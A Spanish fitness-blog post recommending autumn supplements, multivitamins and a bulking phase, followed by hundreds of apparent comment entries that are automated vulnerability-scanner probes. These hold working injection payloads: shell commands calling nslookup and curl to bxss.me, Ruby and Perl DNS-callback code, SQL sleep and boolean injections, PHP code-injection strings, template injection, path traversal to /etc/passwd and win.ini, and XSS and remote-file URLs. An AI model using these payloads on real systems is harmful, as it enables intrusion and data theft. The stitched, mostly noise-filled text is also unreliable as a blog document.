SUPLEMENTOS DEPORTIVOS PARA OTOÑO

SUPLEMENTOS DEPORTIVOS PARA OTOÑO

Por @m.punti

Estamos en la época de constipados por excelencia, ya que con los cambios de temperatura y la llegada del frío nuestras defensas pueden verse debilitadas. Para evitarlo, nuestra embajadora María Puntí nos explica en este post la mejor suplementación para la época otoñal.

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La suplementación que aconsejo en el post de hoy se debe a dos motivos: en primer lugar, para cuidar nuestras defensas, gozar de energía física y vitalidad, a pesar de los cambios de tiempo y de temperaturas que tenemos últimamente; en segundo lugar, la suplementación de esta época también va dirigida a empezar a preparar el cuerpo para verano. Puede sonarte muy extraño (“si apenas hemos terminado este verano… ¿cómo vamos a pensar en el del año que viene?”), pero la verdad es que es ahora cuando debes empezar a trabajar tu cuerpo para estar realmente bien físicamente para la época estival.

El primer motivo es obvio. Deseamos estar al 100% a pesar de que nuestras defensas, a veces, nos piden sofá y manta (¡muchísima gente está resfriada estos días!). La gran pregunta, entonces, es: ¿Cómo tener más energía? Llevando una dieta sana y equilibrada que nos aporte todo lo que precisamos para cubrir nuestras necesidades, con una correcta hidratación, durmiendo y descansando un mínimo de horas y, demás, tomando la suplementación que recomiendo en este post.

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El segundo factor que me lleva a hacer esta recomendación de suplementación puede justificarse con: “Los cuerpos de verano, se construyen en invierno”. Cuántas veces hemos escuchado esta frase, y que pocas veces nos lo aplicamos. Por experiencia propia, sé que, a última hora a pocos meses del verano, siempre queremos encontrar dietas milagro que nos hagan bajar algunos quilogramos, pero a la vez queremos tener unos brazos marcados, o un glúteo al estilo Jen Selter o Michelle Lewin. Todos vemos en Instagram esos cambios de chicas que están en volumen y al definir, se quedan con unos cuerpos con un porcentaje de grasa bajo, pero a la vez con curvas y tonificadas, y muchas personas creen que el proceso de perder grasa y ganar músculo se hace a la vez, y ¡NO!

Si queremos tener un cuerpo con curvas y tonificado, primero hay que pasar por una pequeña etapa de volumen dónde vamos a ingerir la cantidad necesaria o incluso superior de nuestro gasto diario para que nuestros músculos puedan desarrollarse, para posteriormente al bajar el % de grasa, no nos quedemos flácidos y sin forma alguna. ¿Y cuándo empieza este proceso? ¿Cuándo es el mejor momento? ¡Pues sin duda alguna… ahora! Otoño es la temporada perfecta: tienes tiempo de pasar por unos cuatro o cinco meses de volumen, para posteriormente en abril/marzo empezar a definir y tener unos cuerpos serranos en verano.

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Y ahora sí, el momento de descubrir qué suplementos aconsejo para otoño:

  • Empezar la mañana con un buen desayuno. ¿Cuál es mi favorito? Tortita de claras de huevo, harina de avena integral y crema de cacahuete de BEST PROTEIN, una mezcla de grasas buenas, proteínas y carbohidratos. ¡Este desayuno te dará energía para todo el día!
  • Un multivitamínico y vitamina C para asegurar que cubrimos todas nuestras necesidades, ya que al entrenar de 3 a 4 veces por semana, tenemos un gasto más elevado de vitaminas y minerales que las personas sedentarias. Además, es un buen chute para nuestras defensas y para protegernos de gripes y resfriados.
  • Concentra los alimentos con azúcar y la fruta alrededor del entreno: consume una media de 3 frutas al día; sobre todo antes y después del entrenamiento, para aprovechar ese chute de energía extra.
  • Programa una rutina para cada día de la semana (entre 3-5 días) y un horario: ¡te será más fácil calcular el tiempo que tardas! Así lograrás no estresarte pensando que no tendrás tiempo y, al final de la semana, te vas a sentir mejor sabiendo que has cumplido con tus entrenos a la vez que con tus obligaciones.

Y ahora… ¿Cuál es tu excusa para no ir a darlo todo en el gimnasio? ??

*Añade a tu playlist de entrenamiento:

Rockstar – Post Malone ft. 21 Savage (Dylan Matthew Remix)

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    1

  299. lxbfYeaa

    1

  300. (nslookup -q=cname hitxexnukgrwm6efd2.bxss.me||curl hitxexnukgrwm6efd2.bxss.me))

    1

  301. lxbfYeaa

    1

  302. lxbfYeaa|echo irtymy$()\ qwkkor\nz^xyu||a #' |echo irtymy$()\ qwkkor\nz^xyu||a #|" |echo irtymy$()\ qwkkor\nz^xyu||a #

    1

  303. lxbfYeaa

    1

  304. ajax.php/.

    1

  305. |echo aoylku$()\ ztawnd\nz^xyu||a #' |echo aoylku$()\ ztawnd\nz^xyu||a #|" |echo aoylku$()\ ztawnd\nz^xyu||a #

    1

  306. lxbfYeaa

    1

  307. ajax.php

    1

  308. lxbfYeaa&echo zkuuon$()\ jeavdy\nz^xyu||a #' &echo zkuuon$()\ jeavdy\nz^xyu||a #|" &echo zkuuon$()\ jeavdy\nz^xyu||a #

    1

  309. lxbfYeaa

    1

  310. ajax.php

    1

  311. &echo cazpyr$()\ rnbdga\nz^xyu||a #' &echo cazpyr$()\ rnbdga\nz^xyu||a #|" &echo cazpyr$()\ rnbdga\nz^xyu||a #

    1

  312. lxbfYeaa

    1

  313. echo krtuui$()\ yeettb\nz^xyu||a #' &echo krtuui$()\ yeettb\nz^xyu||a #|" &echo krtuui$()\ yeettb\nz^xyu||a #

    1

  314. lxbfYeaa

    1

  315. lxbfYeaa

    1

  316. lxbfYeaa

    1

  317. lxbfYeaa

    1

  318. 'A'.concat(70-3).concat(22*4).concat(102).concat(81).concat(106).concat(88)+(require'socket' Socket.gethostbyname('hitan'+'nwsusexq99a45.bxss.me.')[3].to_s)

    1

  319. lxbfYeaa

    1

  320. lxbfYeaa

    1

  321. '+'A'.concat(70-3).concat(22*4).concat(98).concat(75).concat(103).concat(87)+(require'socket' Socket.gethostbyname('hitcy'+'smcjtjju3ffdf.bxss.me.')[3].to_s)+'

    1

  322. lxbfYeaa

    1

  323. lxbfYeaa

    1

  324. "+"A".concat(70-3).concat(22*4).concat(99).concat(66).concat(118).concat(66)+(require"socket" Socket.gethostbyname("hitsn"+"qbfswzmp9aa18.bxss.me.")[3].to_s)+"

    1

  325. lxbfYeaa

    1

  326. lxbfYeaa

    1

  327. lxbfYeaa

    1

  328. lxbfYeaa

    1

  329. lxbfYeaa

    1

  330. lxbfYeaa

    1

  331. lxbfYeaa

    1

  332. lxbfYeaa

    1

  333. lxbfYeaa

    1

  334. lxbfYeaa

    1*if(now()=sysdate(),sleep(15),0)

  335. lxbfYeaa

    1

  336. lxbfYeaa

    ajax.php/.

  337. lxbfYeaa

    1

  338. lxbfYeaa

    1

  339. lxbfYeaa

    1M985M[!+!]

  340. lxbfYeaa

    1

  341. lxbfYeaa

    ajax.php

  342. lxbfYeaa

    1

  343. lxbfYeaa

    1

  344. lxbfYeaa

    1

  345. bxss.me/t/xss.html?%00

    1

  346. lxbfYeaa

    1

  347. lxbfYeaa

    1UxYN(9683)

  348. lxbfYeaa

    1

  349. lxbfYeaa

    1

  350. lxbfYeaa

    ajax.php

  351. lxbfYeaa

    1

  352. HttP://bxss.me/t/xss.html?%00

    1

  353. lxbfYeaa

    1

  354. lxbfYeaa

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  355. lxbfYeaa

    1

  356. lxbfYeaa

    1

  357. lxbfYeaa

    1

  358. lxbfYeaa

    1

  359. lxbfYeaa

    dfb__${98991*97996}__::.x

  360. lxbfYeaa

    1

  361. lxbfYeaa

    1

  362. lxbfYeaa

    1

  363. lxbfYeaa

    dfb[[${98991*97996}]]xca

  364. lxbfYeaa

    1

  365. lxbfYeaa

    1

  366. lxbfYeaa

    1

  367. 1

  368. lxbfYeaa

    dfb{{98991*97996}}xca

  369. lxbfYeaa

    'A'.concat(70-3).concat(22*4).concat(118).concat(90).concat(102).concat(73)+(require'socket' Socket.gethostbyname('hitlw'+'kmshvgmy00d68.bxss.me.')[3].to_s)

  370. lxbfYeaa

    1

  371. lxbfYeaa

    1

  372. lxbfYeaa

    1

  373. lxbfYeaa

    1

  374. '"

    1

  375. lxbfYeaa

    1}}"}}'}}1%>"%>'%>

  376. lxbfYeaa

    '+'A'.concat(70-3).concat(22*4).concat(111).concat(88).concat(100).concat(79)+(require'socket' Socket.gethostbyname('hitli'+'wltlcaprfdc00.bxss.me.')[3].to_s)+'

  377. lxbfYeaa

    1

  378. lxbfYeaa

    1

  379. lxbfYeaa

    1

  380. lxbfYeaa

  381. lxbfYeaa

    "+"A".concat(70-3).concat(22*4).concat(106).concat(84).concat(118).concat(73)+(require"socket" Socket.gethostbyname("hitza"+"kocpqtki3d051.bxss.me.")[3].to_s)+"

  382. lxbfYeaa

    1

  383. lxbfYeaa

    1

  384. lxbfYeaa

    1

  385. lxbfYeaa

  386. lxbfYeaa

    1

  387. lxbfYeaa

    1

  388. lxbfYeaa

    1

  389. lxbfYeaa

    bxss.me/t/xss.html?%00

  390. lxbfYeaa

    1

  391. lxbfYeaa

    1

  392. lxbfYeaa

    bfgx4173??z1??z2a?bcxhjl4173

  393. lxbfYeaa

    1

  394. lxbfYeaa

    1

  395. lxbfYeaa

    1

  396. lxbfYeaa

    1

  397. lxbfYeaa

    HttP://bxss.me/t/xss.html?%00

  398. lxbfYeaa

    1

  399. lxbfYeaa

    1

  400. lxbfYeaa

    bfg9748<s1﹥s2ʺs3ʹhjl9748

  401. lxbfYeaa

    1

  402. lxbfYeaa

    1

  403. lxbfYeaa

    1

  404. lxbfYeaa

    1

  405. lxbfYeaa

    1

  406. lxbfYeaa

    19853931

  407. lxbfYeaa

    1

  408. lxbfYeaa

    1

  409. lxbfYeaa

    1

  410. lxbfYeaa

    1

  411. lxbfYeaa

    1

  412. lxbfYeaa

    '"()&%UxYN(9825)

  413. lxbfYeaa

    1

  414. lxbfYeaa"||sleep(27*1000)*ouuktj||"

    1

  415. lxbfYeaa

    1

  416. lxbfYeaa

    1

  417. /\xfs.bxss.me?bestprotein.com

    1

  418. lxbfYeaa

  419. lxbfYeaa

    1'"()&%UxYN(9434)

  420. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

    1

  421. lxbfYeaa'||sleep(27*1000)*czydax||'

    1

  422. lxbfYeaa

    [php]print(md5(31337));[/php]

  423. lxbfYeaa

    1

  424. lxbfYeaa

    1

  425. //xfs.bxss.me?bestprotein.com

    1

  426. lxbfYeaa

    '"

  427. lxbfYeaa

    1

  428. lxbfYeaa"&&sleep(27*1000)*hgcwbl&&"

    1

  429. lxbfYeaa

    {php}print(md5(31337));{/php}

  430. lxbfYeaa

    1

  431. lxbfYeaa

    -1" OR 3+659-659-1=0+0+0+1 --

  432. lxbfYeaa

    1

  433. xfs.bxss.me?bestprotein.com

    1

  434. lxbfYeaa

    1

  435. lxbfYeaa

    1

  436. lxbfYeaa

    1

  437. lxbfYeaa'&&sleep(27*1000)*eflmoi&&'

    1

  438. lxbfYeaa

    print(md5(31337));//

  439. lxbfYeaa

    1

  440. lxbfYeaa

    -1" OR 2+659-659-1=0+0+0+1 --

  441. lxbfYeaa

    1

  442. http://xfs.bxss.me?bestprotein.com

    1

  443. lxbfYeaa

    1

  444. lxbfYeaa

    1

  445. '"()

    1

  446. lxbfYeaa

    '{${print(md5(31337))}}'

  447. lxbfYeaa

    1

  448. lxbfYeaa

    -1' OR 3+997-997-1=0+0+0+1 or '9ohHuOxT'='

  449. lxbfYeaa

    1

  450. 904990

    1

  451. lxbfYeaa

    1

  452. lxbfYeaa

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

  453. lxbfYeaa

    1

  454. lxbfYeaa

  455. lxbfYeaa

    1

  456. lxbfYeaa

    -1' OR 2+997-997-1=0+0+0+1 or '9ohHuOxT'='

  457. lxbfYeaa

    1

  458. xfs.bxss.me

    1

  459. lxbfYeaa

    1

  460. lxbfYeaa

    1

  461. lxbfYeaa

    1

  462. lxbfYeaa

    '.print(md5(31337)).'

  463. lxbfYeaa

    1

  464. lxbfYeaa

    -1' OR 3+14-14-1=0+0+0+1 --

  465. gethostbyname(lc('hitsh'.'sbtrswmha685d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(76).chr(116).chr(82)

    1

  466. lxbfYeaa

    1

  467. lxbfYeaa

    1

  468. lxbfYeaa

    1

  469. lxbfYeaa

    ${@print(md5(31337))}\

  470. lxbfYeaa

    -1' OR 2+14-14-1=0+0+0+1 --

  471. ".gethostbyname(lc("hitae"."sxsiuawy8ae5d.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(90).chr(109).chr(71)."

    1

  472. lxbfYeaa

    1

  473. lxbfYeaa

    1

  474. lxbfYeaa

    1

  475. lxbfYeaa

    ${@print(md5(31337))}

  476. lxbfYeaa

    1

  477. lxbfYeaa

    -1 OR 3+120-120-1=0+0+0+1

  478. '.gethostbyname(lc('hitsi'.'yvzqpqwj7a123.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(67).chr(99).chr(70).'

    1

  479. lxbfYeaa

    1

  480. lxbfYeaa

    1

  481. lxbfYeaa

    ";print(md5(31337));$a="

  482. lxbfYeaa

    -1 OR 2+120-120-1=0+0+0+1

  483. lxbfYeaa

    /\xfs.bxss.me?bestprotein.com

  484. lxbfYeaa

    1

  485. lxbfYeaa

    1

  486. lxbfYeaa

    ';print(md5(31337));$a='

  487. lxbfYeaa

    1

  488. lxbfYeaa

    -1 OR 3+320-320-1=0+0+0+1 --

  489. lxbfYeaa

    //xfs.bxss.me?bestprotein.com

  490. lxbfYeaa

    1

  491. lxbfYeaa

    1

  492. lxbfYeaa

    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  493. lxbfYeaa

    1

  494. lxbfYeaa

    -1 OR 2+320-320-1=0+0+0+1 --

  495. lxbfYeaa

    xfs.bxss.me?bestprotein.com

  496. lxbfYeaa

    1

  497. lxbfYeaa

    1

  498. lxbfYeaa

    1

  499. lxbfYeaa

    1

  500. lxbfYeaa

    1

  501. lxbfYeaa

    1

  502. lxbfYeaa

    http://xfs.bxss.me?bestprotein.com

  503. lxbfYeaa

    1

  504. ^(#$!@#$)(()))******

    1

  505. lxbfYeaa

    1

  506. lxbfYeaa

    1

  507. lxbfYeaa

    1

  508. lxbfYeaa

    949922

  509. lxbfYeaa

    1

  510. lxbfYeaa

    1

  511. !(()&&!|*|*|

    1

  512. lxbfYeaa

    1

  513. lxbfYeaa

    1

  514. lxbfYeaa

    xfs.bxss.me

  515. lxbfYeaa

    1

  516. lxbfYeaa

    1

  517. )

    1

  518. lxbfYeaa

    1

  519. lxbfYeaa

    1

  520. lxbfYeaa

    1

  521. lxbfYeaa

    1

  522. lxbfYeaa

    1

  523. lxbfYeaa

    1

  524. lxbfYeaa

    1

  525. lxbfYeaa

    1

  526. lxbfYeaa

    1

  527. lxbfYeaa

    1

  528. lxbfYeaa

    gethostbyname(lc('hitpa'.'oooouhwe25ce8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(88).chr(122).chr(71)

  529. lxbfYeaa

    1

  530. lxbfYeaa

    1

  531. lxbfYeaa

    1

  532. lxbfYeaa

    1

  533. lxbfYeaa

    ".gethostbyname(lc("hitqk"."ydycbbpxa3ab0.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(66).chr(113).chr(87)."

  534. lxbfYeaa

    1

  535. lxbfYeaa

    1

  536. lxbfYeaa

    1

  537. lxbfYeaa

    1

  538. lxbfYeaa

    1

  539. lxbfYeaa

    1"||sleep(27*1000)*zsxbwg||"

  540. lxbfYeaa

    '.gethostbyname(lc('hitpx'.'gpunleoja38b5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(84).chr(108).chr(89).'

  541. lxbfYeaa

    1

  542. lxbfYeaa

    1

  543. lxbfYeaa

    1

  544. lxbfYeaa

    1

  545. lxbfYeaa

    1

  546. lxbfYeaa

    &(nslookup${IFS}-q${IFS}cname${IFS}hitwmoczhlbuo27684.bxss.me||curl${IFS}hitwmoczhlbuo27684.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwmoczhlbuo27684.bxss.me||curl${IFS}hitwmoczhlbuo27684.bxss.me)&`'

  547. lxbfYeaa

    1'||sleep(27*1000)*qunbdt||'

  548. lxbfYeaa

    1

  549. lxbfYeaa

    1

  550. lxbfYeaa

    1

  551. lxbfYeaa

    1

  552. lxbfYeaa

    1

  553. lxbfYeaa

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmukgstflnu4b7b4.bxss.me||curl${IFS}hitmukgstflnu4b7b4.bxss.me)

  554. lxbfYeaa

    1"&&sleep(27*1000)*bnkgjc&&"

  555. lxbfYeaa

    1

  556. lxbfYeaa

    1

  557. lxbfYeaa

    1

  558. lxbfYeaa

    1

  559. lxbfYeaa

    1'&&sleep(27*1000)*mvcvit&&'

  560. lxbfYeaa

    ;(nslookup -q=cname hitybqtyyavthe5a9f.bxss.me||curl hitybqtyyavthe5a9f.bxss.me)|(nslookup -q=cname hitybqtyyavthe5a9f.bxss.me||curl hitybqtyyavthe5a9f.bxss.me)&(nslookup -q=cname hitybqtyyavthe5a9f.bxss.me||curl hitybqtyyavthe5a9f.bxss.me)

  561. lxbfYeaa

    1

  562. lxbfYeaa

    1

  563. lxbfYeaa

    1

  564. lxbfYeaa

    '"()

  565. lxbfYeaa

    `(nslookup -q=cname hituvvteqxkew83a0c.bxss.me||curl hituvvteqxkew83a0c.bxss.me)`

  566. lxbfYeaa

    1

  567. lxbfYeaa

    1

  568. lxbfYeaa

    ^(#$!@#$)(()))******

  569. lxbfYeaa

    1

  570. lxbfYeaa

    |(nslookup -q=cname hitjenhamofwu1de19.bxss.me||curl hitjenhamofwu1de19.bxss.me)

  571. lxbfYeaa

    1

  572. lxbfYeaa

    1

  573. lxbfYeaa

    1

  574. lxbfYeaa

    !(()&&!|*|*|

  575. lxbfYeaa

    1

  576. lxbfYeaa

    &(nslookup -q=cname hitoqfzckyhmi891ec.bxss.me||curl hitoqfzckyhmi891ec.bxss.me)&'\"`0&(nslookup -q=cname hitoqfzckyhmi891ec.bxss.me||curl hitoqfzckyhmi891ec.bxss.me)&`'

  577. lxbfYeaa

    1

  578. lxbfYeaa

    1

  579. lxbfYeaa

    )

  580. lxbfYeaa

    1

  581. lxbfYeaa

    &nslookup -q=cname hitmufvafrsmb62e62.bxss.me&'\"`0&nslookup -q=cname hitmufvafrsmb62e62.bxss.me&`'

  582. lxbfYeaa

    1

  583. lxbfYeaa

    1

  584. lxbfYeaa

    1

  585. lxbfYeaa

    1

  586. lxbfYeaa

    $(nslookup -q=cname hitcjvlinkofd23a99.bxss.me||curl hitcjvlinkofd23a99.bxss.me)

  587. lxbfYeaa

    1

  588. lxbfYeaa

    1

  589. lxbfYeaa

    1

  590. lxbfYeaa

    1

  591. lxbfYeaa

    (nslookup -q=cname hitgpxulplsbz3db4a.bxss.me||curl hitgpxulplsbz3db4a.bxss.me))

  592. lxbfYeaa

    1

  593. bxss.me

    1

  594. lxbfYeaa

    1

  595. lxbfYeaa

    1

  596. lxbfYeaa

    1

  597. lxbfYeaa

    1|echo yptmrb$()\ ohpcbq\nz^xyu||a #' |echo yptmrb$()\ ohpcbq\nz^xyu||a #|" |echo yptmrb$()\ ohpcbq\nz^xyu||a #

  598. lxbfYeaa

    1

  599. c:/windows/win.ini

    1

  600. NVVINXppRFE=

    1

  601. lxbfYeaa

    1

  602. lxbfYeaa

    |echo pwurss$()\ xmrcjj\nz^xyu||a #' |echo pwurss$()\ xmrcjj\nz^xyu||a #|" |echo pwurss$()\ xmrcjj\nz^xyu||a #

  603. lxbfYeaa

    1

  604. /etc/shells

    1

  605. lxbfYeaa

    1

  606. lxbfYeaa&n931378=v943136

    1

  607. lxbfYeaa

    1&echo rabiom$()\ nryfdc\nz^xyu||a #' &echo rabiom$()\ nryfdc\nz^xyu||a #|" &echo rabiom$()\ nryfdc\nz^xyu||a #

  608. lxbfYeaa

    1

  609. http://bxss.me/t/fit.txt?.jpg

    1

  610. lxbfYeaa

    1

  611. lxbfYeaa

    1

  612. lxbfYeaa

    &echo cqmvcz$()\ cyilcw\nz^xyu||a #' &echo cqmvcz$()\ cyilcw\nz^xyu||a #|" &echo cqmvcz$()\ cyilcw\nz^xyu||a #

  613. lxbfYeaa

    1

  614. Http://bxss.me/t/fit.txt

    1

  615. lxbfYeaa

    1

  616. lxbfYeaa

    1

  617. lxbfYeaa

    echo nmhvub$()\ jnmyws\nz^xyu||a #' &echo nmhvub$()\ jnmyws\nz^xyu||a #|" &echo nmhvub$()\ jnmyws\nz^xyu||a #

  618. lxbfYeaa

    1

  619. 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

    1

  620. lxbfYeaa

    1

  621. lxbfYeaa

    1

  622. lxbfYeaa

    1

  623. lxbfYeaa

    1

  624. http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

    1

  625. lxbfYeaa

    1

  626. lxbfYeaa

    1&n912845=v939680

  627. lxbfYeaa

    1

  628. lxbfYeaa

    1

  629. lxbfYeaa

    1

  630. lxbfYeaa

    1

  631. lxbfYeaa

    1

  632. lxbfYeaa

    1

  633. lxbfYeaa

    1

  634. lxbfYeaa

    1

  635. lxbfYeaa

    1

  636. lxbfYeaa

    1

  637. ../lxbfYeaa

    1

  638. "+response.write(9250237*9963963)+"

    1

  639. 2znwUj64

    1

  640. lxbfYeaa

    1

  641. lxbfYeaa

    1

  642. '+response.write(9250237*9963963)+'

    1

  643. lxbfYeaa

    1

  644. file:///etc/passwd

    1

  645. response.write(9250237*9963963)

    1

  646. lxbfYeaa

    1

  647. lxbfYeaa

    1

  648. ../../../../../../../../../../../../../../windows/win.ini

    1

  649. lxbfYeaa

    1

  650. ../../../../../../../../../../../../../../etc/passwd

    1

  651. lxbfYeaa

    1

  652. lxbfYeaa

    hfPE28VK

  653. lxbfYeaa

    1

  654. lxbfYeaa

    1

  655. lxbfYeaa

    1

  656. lxbfYeaa

    1

  657. lxbfYeaa

    1

  658. lxbfYeaa

    1

  659. lxbfYeaa

    1

  660. lxbfYeaa

    1

  661. lxbfYeaa

    1

  662. lxbfYeaa

    1

  663. lxbfYeaa

    1

  664. lxbfYeaa

    1

  665. lxbfYeaa

    1

  666. lxbfYeaa

    1

  667. lxbfYeaa

    1

  668. lxbfYeaa

    1

  669. lxbfYeaa

    1

  670. lxbfYeaa

    1

  671. lxbfYeaa

    1

  672. lxbfYeaa

    1

  673. lxbfYeaa

    1

  674. lxbfYeaa

    "+response.write(9206626*9676894)+"

  675. lxbfYeaa

    1

  676. lxbfYeaa

    '+response.write(9206626*9676894)+'

  677. lxbfYeaa

    1

  678. lxbfYeaa

    response.write(9206626*9676894)

  679. lxbfYeaa

    1

  680. lxbfYeaa

    1

  681. lxbfYeaa

    1

  682. lxbfYeaa

    1

  683. lxbfYeaa

    bxss.me

  684. lxbfYeaa

    1

  685. lxbfYeaa

    c:/windows/win.ini

  686. lxbfYeaa

    ../1

  687. lxbfYeaa

    /etc/shells

  688. lxbfYeaa

    1

  689. lxbfYeaa

    1

  690. lxbfYeaa

    http://bxss.me/t/fit.txt?.jpg

  691. lxbfYeaa

    1

  692. lxbfYeaa

    1

  693. lxbfYeaa

    file:///etc/passwd

  694. lxbfYeaa

    Http://bxss.me/t/fit.txt

  695. lxbfYeaa

    1

  696. lxbfYeaa

    ../../../../../../../../../../../../../../windows/win.ini

  697. lxbfYeaa

    1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  698. lxbfYeaa

    1

  699. lxbfYeaa

    ../../../../../../../../../../../../../../etc/passwd

  700. lxbfYeaa

    http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  701. lxbfYeaa

    1

  702. lxbfYeaa

    1

  703. 12345'"\'\");|]*{ ?''?

    1

  704. lxbfYeaa

    1

  705. lxbfYeaa

    1

  706. lxbfYeaa

    1

  707. lxbfYeaa

    1

  708. ${10000198+10000385}

    1

  709. lxbfYeaa

    1

  710. lxbfYeaa

    1

  711. lxbfYeaa

    1

  712. lxbfYeaa

    1

  713. lxbfYeaa

    1

  714. lxbfYeaa

    ${10000453+9999419}

  715. lxbfYeaa

    1

  716. lxbfYeaa

    1

  717. lxbfYeaa

    1

  718. lxbfYeaa

    1

  719. lxbfYeaa

    1

  720. lxbfYeaa

    1

  721. lxbfYeaa

    1

  722. lxbfYeaa

    1

  723. 1lZXXIrEO

    1

  724. lxbfYeaa

    12345'"\'\");|]*{ ?''?

  725. lxbfYeaa

    1

  726. lxbfYeaa

    1

  727. lxbfYeaa

    1qvKz348O

  728. lxbfYeaa

    1

  729. lxbfYeaa

    1

  730. lxbfYeaa

    1

  731. lxbfYeaa

    1

  732. Rauw Alejandro

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